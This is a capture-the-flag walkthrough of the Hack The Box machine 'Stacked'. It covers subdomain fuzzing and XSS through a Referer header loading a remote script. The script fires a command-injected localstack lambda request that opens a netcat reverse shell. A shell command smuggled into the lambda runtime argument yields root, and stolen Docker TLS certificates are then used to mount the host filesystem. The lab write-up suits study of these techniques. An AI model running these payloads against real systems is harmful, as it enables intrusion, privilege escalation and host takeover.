Hacking is about balance... ⚖️
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
2376/tcp open docker syn-ack ttl 63
We have 3 ports open to us, docker and the HTTP service look interesting:
We see at the top there’s a domain, we add that to /etc/hosts and start bruteforcing subdomains:
sudo wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://stacked.htb/ -H "Host: FUZZ.stacked.htb" --hw 26,53
We get a subdomain called portfolio
, we can start enumerating and see a lot of reference to the docker containers running, including a yml file:
We also have a contact form a WAF preventing us from performing attacks against it:
We can focus our attention back to the docker-compose file and get the box:
sudo docker-compose up
User own
In doing so we get the github link to the source code as well as the public and private key. Let’s look into this docker container a little more:
We know this is a local stack container and it contains APIs that we can try attack to get a shell. Below is an example of this:
https://blog.sonarsource.com/hack-the-stack-with-localstack
Since we have access to a container of the same version, we can understand a lot of it’s back-end using it. We know that this version is aws lambda pretty heavily which we can use to perform XSS into RCE. We need to create our backdoor, below is the source code for one:
var payload = "http://127.0.0.1:8080/lambda/%26nc%2010.10.15.12%204443%20-e%20bash%2Fcode";
var x = new XMLHttpRequest();
xhr.open("POST", payload);
x.setRequestHeader("Accept", "application/json");
x.setRequestHeader("Content-Type", "application/json");
x.onreadystatechange = function () {
if (x.readyState === 4) {
console.log(x.status);
console.log(x.responseText);
}};
var data = `{
"functionName":".*",
"awsEnvironment":"dev"
}`;
x.send(data);
We setup a netcat listener and a python server then execute the following:
curl http://portfolio.stacked.htb/process.php -H "User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0" -H "Accept: application/json, text/javascript, */*; q=0.01" -H "Accept-Language: en-US,en;q=0.5" --compressed -H 'Referer: <script src="http://10.10.15.12/rev.js"></script>' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: http://portfolio.stacked.htb' -H 'Connection: keep-alive' --data-raw 'fullname=synisl33t&email=syn3%40stacked.htb&tel=3333333333333&subject=subscribe&message=fuckyou'
We can do this manually in burpsuite but it’s a pain in the ass. Let’s break this down. We’re using the referer to generate to perform to load our payload onto our target site by visiting that URL first, then going to the dashboard locally to execute our payload. For a full explanation, read the below blog:
https://blog.sonarsource.com/hack-the-stack-with-localstack
Container root own
We’re currently in a container. We do have access to the source code for local stack which can be useful to us:
What’s interesting is that we have aws lamba available to us. We can try use this to elevate our privileges. We can read through the docs and try figure this out:
https://docs.aws.amazon.com/lambda/index.html
We can try create a lamba function using AWS to attack the API on port 4566 since we know localstack is being ran as root. We’ll create the function for the service running on port 4566 and attempt a reverse shell. We’ll use a python run-time environment since we already know that’s in use for localstack, the box has both python2 and 3 installed so it doesn’t matter which we use. Below is a bash script to create and execute the function:
#!/bin/bash
aws --endpoint-url=http://localhost:4566 --region=us-east-1 lambda create-function --function-name=giveRoot --runtime='python3$(nc 10.10.15.12 4444 -e /bin/sh)' --role=arn:aws:iam:local --handler=lambda.handler --zip-file=fileb://test.zip
aws --endpoint-url=http://localhost:4566 --region=us-east-1 lambda invoke --function-name=giveRoot out.txt
The test.zip file can be an archive with an empty file, it’s actual contents don’t matter as long as it’s a zip file in the directory of which you execute the command.
Root own
Now that we’ve got root on the container, we can access the .docker
directory:
Inside are the certificates we need to access the docker service. Using this we can create an alpine box on the target service and mount the root directory which will give us access to the flag. Let’s try it:
sudo docker pull alpine
sudo docker save -o /tmp/alpine alpine
sudo docker --tlscacert=ca.pem --tlsverify -H=stacked:2376 --tlskey=key.pem --tlscert=cert.pem load -i /tmp/alpine
I did initially try with stacked.htb but got the following error:
error during connect: Post "https://stacked.htb:2376/v1.24/images/load?quiet=0": x509: certificate is valid for localhost, stacked, not stacked.htb
Instead we add stacked
to /etc/hosts and rerun the command which gives us access. Next is to use the usual gtfobins exploit for docker where we mount the /
directory:
sudo docker --tlscacert=ca.pem --tlsverify -H=stacked:2376 --tlskey=key.pem --tlscert=cert.pem run -v /:/mnt --rm -it alpine chroot /mnt sh
We can get the root flag from /root
without any issues.